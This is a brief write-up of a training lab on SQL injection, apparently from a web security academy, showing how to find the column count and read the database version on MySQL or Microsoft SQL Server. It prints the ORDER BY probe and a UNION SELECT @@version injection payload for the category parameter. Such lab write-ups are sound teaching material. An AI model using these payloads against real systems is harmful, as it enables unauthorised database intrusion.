
SQL injection attack, querying the database type and version on MySQL and Microsoft

1. This lab contains a SQL injection vulnerability in the product category filter.
2. This is the same as the previous lab, but this time the database is Microsoft or MySQL.
3. The main difference is the query that retrieves the database version.

```
SELECT @@version
```

4. I started with this injection in category parameter to know how many columns were retrieved.

```
Category=Gifts' ORDER BY #of_columns--
```

Note: In MySQL database you must write space after the double dash

5. The number of columns is 2, so I start to inject the payload:

```
category=Gifts' UNION SELECT @@version, NULL--
```

Finally, the lab solved.



SQL injection attack, querying the database type and version on MySQL and Microsoft

[Back to lab description >>](#)

LAB Solved



Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)